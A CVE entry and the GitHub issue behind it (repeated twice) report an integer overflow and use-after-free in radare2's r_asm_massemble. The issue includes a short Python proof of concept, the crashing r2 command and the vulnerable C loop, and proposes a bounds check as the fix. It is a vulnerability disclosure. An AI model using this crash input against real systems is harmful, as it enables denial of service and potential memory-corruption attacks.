In radare2 through 4.0, there is an integer overflow for the variable new_token_size in the function r_asm_massemble at libr/asm/asm.c. This integer overflow will result in a Use-After-Free for the buffer tokens, which can be filled with arbitrary malicious data after the free. This allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via crafted input.
cpe:2.3:a:radare:radare2:*:*:*:*:*:*:*:*
6F2CC41D-F155-4528-AB57-DD94A54A0CE4
4.0.0
OR
### Work environment 

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | Ubuntu x86 64
| File format of the file you reverse (mandatory)      | None
| Architecture/bits of the file (mandatory)            | None
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.1.0-git 23513 @ linux-x86-64 git.4.0.0-165-gcb60b5e8f commit: cb60b5e8fd8dc76d847d9935d2ded4df2e05b63e build: 2019-12-04__01:01:37

### Expected behavior

```bash
$ cat poc.py
f = open("poc.r", "w")
f.write("/a " + ";" * (2 ** 31 + 16))
f.close()

$ python poc.py

$ r2 -i poc.r malloc://1024  # Expect No Crash
```

### Actual behavior

```bash
$ r2 -i poc.r malloc://1024 
Segmentation fault
```

### Steps to reproduce the behavior 
- Follow the command I list above

### Additional Logs, screenshots, source-code,  configuration dump, ...

In [r_asm_massemble](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L674) at [libr/asm/asm.c](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c), when r2 tries to assemble a long input with **too many tokens**, [new_token_size](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L758) will be integer-overflowed to zero. Later, [realloc(tokens, sizeof (char*) * new_tokens_size)](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L759) will actually free `tokens`, leading a **Use-After-Free**. More serious, the freed tokens can be filled with arbitrary data, which can be used to exploit to RCE.

The bug code is listed below, a quick fix will be to add a upper boundary check for `new_token_size`

```c
	/* Tokenize */
	for (tokens[0] = lbuf, ctr = 0;
			((ptr = strchr (tokens[ctr], ';')) ||
			(ptr = strchr (tokens[ctr], '\n')) ||
			(ptr = strchr (tokens[ctr], '\r')));) {
		ctr++;
		if (ctr >= tokens_size) {
			const int new_tokens_size = tokens_size * 2;
			char **new_tokens = realloc (tokens, sizeof (char*) * new_tokens_size);
			if (new_tokens) {
				tokens_size = new_tokens_size;
				tokens = new_tokens;
			}
		}
		*ptr = '\0';
		tokens[ctr] = ptr + 1;
	}
```

Integer Overflow in `r_asm_massemble` at libr/asm/asm.c
This is a GitHub Issue
repo:radare2
owner:radareorg
Title : Integer Overflow in `r_asm_massemble` at libr/asm/asm.c
Issue date:

--- start body ---
### Work environment 

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | Ubuntu x86 64
| File format of the file you reverse (mandatory)      | None
| Architecture/bits of the file (mandatory)            | None
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.1.0-git 23513 @ linux-x86-64 git.4.0.0-165-gcb60b5e8f commit: cb60b5e8fd8dc76d847d9935d2ded4df2e05b63e build: 2019-12-04__01:01:37

### Expected behavior

```bash
$ cat poc.py
f = open("poc.r", "w")
f.write("/a " + ";" * (2 ** 31 + 16))
f.close()

$ python poc.py

$ r2 -i poc.r malloc://1024  # Expect No Crash
```

### Actual behavior

```bash
$ r2 -i poc.r malloc://1024 
Segmentation fault
```

### Steps to reproduce the behavior 
- Follow the command I list above

### Additional Logs, screenshots, source-code,  configuration dump, ...

In [r_asm_massemble](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L674) at [libr/asm/asm.c](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c), when r2 tries to assemble a long input with **too many tokens**, [new_token_size](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L758) will be integer-overflowed to zero. Later, [realloc(tokens, sizeof (char*) * new_tokens_size)](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L759) will actually free `tokens`, leading a **Use-After-Free**. More serious, the freed tokens can be filled with arbitrary data, which can be used to exploit to RCE.

The bug code is listed below, a quick fix will be to add a upper boundary check for `new_token_size`

```c
	/* Tokenize */
	for (tokens[0] = lbuf, ctr = 0;
			((ptr = strchr (tokens[ctr], ';')) ||
			(ptr = strchr (tokens[ctr], '\n')) ||
			(ptr = strchr (tokens[ctr], '\r')));) {
		ctr++;
		if (ctr >= tokens_size) {
			const int new_tokens_size = tokens_size * 2;
			char **new_tokens = realloc (tokens, sizeof (char*) * new_tokens_size);
			if (new_tokens) {
				tokens_size = new_tokens_size;
				tokens = new_tokens;
			}
		}
		*ptr = '\0';
		tokens[ctr] = ptr + 1;
	}
```

--- end body ---

comments :
--- start comments ---

--- end comments ---